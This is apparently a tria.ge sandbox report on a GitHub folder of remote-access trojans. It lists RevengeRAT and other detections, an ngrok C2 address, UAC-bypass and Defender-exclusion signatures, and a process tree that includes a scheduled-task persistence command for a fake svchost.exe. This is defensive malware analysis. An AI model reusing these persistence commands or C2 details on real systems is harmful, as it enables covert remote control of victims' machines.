Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

URLScan

urlscan

https://github.com/D...

windows10-2004-x64

10

Resubmissions

15/08/2024, 21:28

240815-1bhadszdpl 3

15/08/2024, 21:22

240815-z74ylavfma 10

Analysis

  • max time kernel
    300s
  • max time network
    299s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/08/2024, 21:22

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    https://github.com/Da2dalus/The-MALWARE-Repo/tree/master/RAT

Score
10/10
modiloadernetwirerevengeratwarzoneratguestbotnetdefense_evasiondiscoveryexecutioninfostealerpersistenceprivilege_escalationratrezer0stealertrojan

Malware Config

Extracted

Family

revengerat

Botnet

Guest

C2

0.tcp.ngrok.io:19521

Mutex

RV_MUTEX

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

    trojanmodiloader
  • Netwire

    Netwire is a RAT with main functionalities focused password stealing and keylogging, but also includes remote control capabilities as well.

    botnetstealernetwire
  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

    trojanrevengerat
  • WarzoneRat, AveMaria

    WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.

    ratinfostealerwarzonerat
  • ModiLoader First Stage 1 IoCs
  • ReZer0 packer 1 IoCs

    Detects ReZer0, a packer with multiple versions used in various campaigns.

    rezer0
  • RevengeRat Executable 1 IoCs
    stealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 3 IoCs
  • Executes dropped EXE 28 IoCs
  • Loads dropped DLL 4 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Abuse Elevation Control Mechanism: Bypass User Account Control 1 TTPs 1 IoCs

    UAC Bypass Attempt via SilentCleanup Task.

    defense_evasionprivilege_escalation
  • Adds Run key to start application 2 TTPs 9 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 19 IoCs
  • Suspicious use of SetThreadContext 27 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 2 IoCs
  • Modifies registry key 1 TTPs 3 IoCs
  • NTFS ADS 7 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Script User-Agent 16 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://github.com/Da2dalus/The-MALWARE-Repo/tree/master/RAT
    1⤵
    • Enumerates system info in registry
    • Modifies registry class
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2508
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x100,0x104,0x108,0xfc,0x10c,0x7ffc1a4646f8,0x7ffc1a464708,0x7ffc1a464718
      2⤵
        PID:1064
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2116 /prefetch:2
        2⤵
          PID:1232
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3992
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2652 /prefetch:8
          2⤵
            PID:2536
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1
            2⤵
              PID:3412
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3352 /prefetch:1
              2⤵
                PID:2000
              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5532 /prefetch:8
                2⤵
                  PID:3092
                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5532 /prefetch:8
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1080
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5320 /prefetch:8
                  2⤵
                    PID:1184
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5572 /prefetch:1
                    2⤵
                      PID:2864
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6096 /prefetch:8
                      2⤵
                        PID:4952
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5816 /prefetch:8
                        2⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:3648
                      • C:\Users\Admin\Downloads\RevengeRAT.exe
                        "C:\Users\Admin\Downloads\RevengeRAT.exe"
                        2⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        • Suspicious use of AdjustPrivilegeToken
                        PID:876
                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
                          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
                          3⤵
                          • Drops startup file
                          • Suspicious use of SetThreadContext
                          • NTFS ADS
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3440
                          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
                            "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
                            4⤵
                            • System Location Discovery: System Language Discovery
                            PID:3036
                          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                            "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\cpwigopo.cmdline"
                            4⤵
                              PID:5928
                              • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7EA1.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc1FC113EAAC6C49E69433DCD1C9335311.TMP"
                                5⤵
                                  PID:6012
                              • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\pnkopmx9.cmdline"
                                4⤵
                                  PID:6060
                                  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                    C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7F4D.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc4732B35EBA8B45938C8FAC3DBA46F815.TMP"
                                    5⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:6132
                                • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                  "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\j9tckflq.cmdline"
                                  4⤵
                                    PID:4996
                                    • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                      C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7FE9.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc43B26A349AF74446BB3B9850FBFD8BD.TMP"
                                      5⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:4060
                                  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\xh6b4kmk.cmdline"
                                    4⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:3380
                                    • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                      C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8076.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcE172EB7E4FBF4469BC983AB5C6B07D2B.TMP"
                                      5⤵
                                        PID:5240
                                    • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\t8bnqidt.cmdline"
                                      4⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:3368
                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                        C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8131.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcEB78C1A059D8462C8A2F5280D3EB4FA2.TMP"
                                        5⤵
                                          PID:3044
                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\3-mfiaab.cmdline"
                                        4⤵
                                          PID:400
                                          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES81AE.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcEBABEC3EF3FB465190A3E2CD8D814997.TMP"
                                            5⤵
                                              PID:5356
                                          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                            "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\_vgpee-n.cmdline"
                                            4⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:5500
                                            • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                              C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES824A.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc9267E96AD9C741409C22F6A6A35AA1A6.TMP"
                                              5⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:5548
                                          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                            "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\ofbogged.cmdline"
                                            4⤵
                                              PID:2212
                                              • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES82D7.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc58316CBFD0EA47F991DFD1EA866FC0AB.TMP"
                                                5⤵
                                                  PID:4900
                                              • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\ohmwjebh.cmdline"
                                                4⤵
                                                • System Location Discovery: System Language Discovery
                                                PID:5624
                                                • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                  C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8364.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcACAA2710AD274080B975A2E60B947BA.TMP"
                                                  5⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:5816
                                              • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\u4uaaxqs.cmdline"
                                                4⤵
                                                • System Location Discovery: System Language Discovery
                                                PID:4460
                                                • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                  C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES83F0.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc96737BDE12354711B4FC6E1CD86AEFC.TMP"
                                                  5⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:5848
                                              • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\eb5dbnmk.cmdline"
                                                4⤵
                                                  PID:5952
                                                  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                    C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES847D.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc31F9616382FA47139B574C9AE932ED85.TMP"
                                                    5⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:5956
                                                • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                  "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\yqjgyagb.cmdline"
                                                  4⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:6036
                                                  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                    C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES850A.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc2BF33452D1E2415189498EA154EBAA4D.TMP"
                                                    5⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:2728
                                                • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                  "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\_pcfu-lj.cmdline"
                                                  4⤵
                                                    PID:2704
                                                    • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                      C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES85E4.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc15279DE064A046D9A7D2FC4470E6565C.TMP"
                                                      5⤵
                                                        PID:1940
                                                    • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\-rhbfbl5.cmdline"
                                                      4⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:5252
                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                        C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES86BF.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc96149A204B894C39A66857A691BF87D8.TMP"
                                                        5⤵
                                                          PID:3380
                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\q4gvxwds.cmdline"
                                                        4⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:1384
                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES875B.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc93CAEF0D40B64EBAA19C7D344078CCFC.TMP"
                                                          5⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:1744
                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\otfisvdu.cmdline"
                                                        4⤵
                                                          PID:5420
                                                          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES87D8.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc74D4E0595C594C8E8EE2F0E54488B9E4.TMP"
                                                            5⤵
                                                              PID:4404
                                                          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                            "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\_oia9gos.cmdline"
                                                            4⤵
                                                              PID:3412
                                                              • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8894.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcE90660E0780049EC958ABBC3983AFB66.TMP"
                                                                5⤵
                                                                • System Location Discovery: System Language Discovery
                                                                PID:5540
                                                            • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                              "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\jhkhtk7t.cmdline"
                                                              4⤵
                                                                PID:5516
                                                                • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                  C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8911.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc8619EA8CEFB4D2FB9AC4CF71B9CA34B.TMP"
                                                                  5⤵
                                                                    PID:5452
                                                                • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                  "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\jz6vfpji.cmdline"
                                                                  4⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:5100
                                                                  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                    C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES898E.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc10A97966EF134121BDC295A078CD9554.TMP"
                                                                    5⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:4472
                                                                • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                  "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\e_lcvzhi.cmdline"
                                                                  4⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:5644
                                                                  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                    C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8A0B.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcE8707E8B32954783B33D4420D75BBE31.TMP"
                                                                    5⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:5628
                                                                • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                  "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\dqsnydnv.cmdline"
                                                                  4⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:5848
                                                                  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                    C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8B43.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc9B89004C5E245729D6C43D51B1CDF97.TMP"
                                                                    5⤵
                                                                      PID:6000
                                                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe
                                                                    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe"
                                                                    4⤵
                                                                    • Executes dropped EXE
                                                                    • Suspicious use of SetThreadContext
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:6036
                                                                    • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
                                                                      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
                                                                      5⤵
                                                                      • Drops startup file
                                                                      • Adds Run key to start application
                                                                      • Suspicious use of SetThreadContext
                                                                      • NTFS ADS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:6060
                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
                                                                        6⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:5172
                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                        schtasks /create /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe"
                                                                        6⤵
                                                                        • Scheduled Task/Job: Scheduled Task
                                                                        PID:5940
                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\f3wlhuxo.cmdline"
                                                                        6⤵
                                                                          PID:2320
                                                                          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES304D.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc6F9D68B23D6A475BB3937BCE438763B4.TMP"
                                                                            7⤵
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:6836
                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\bvcml14f.cmdline"
                                                                          6⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:7388
                                                                          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES30BB.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcFAD930C490F841F4A7249650B52A564D.TMP"
                                                                            7⤵
                                                                              PID:7316
                                                                          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                            "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\llyzz4qf.cmdline"
                                                                            6⤵
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:5672
                                                                            • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
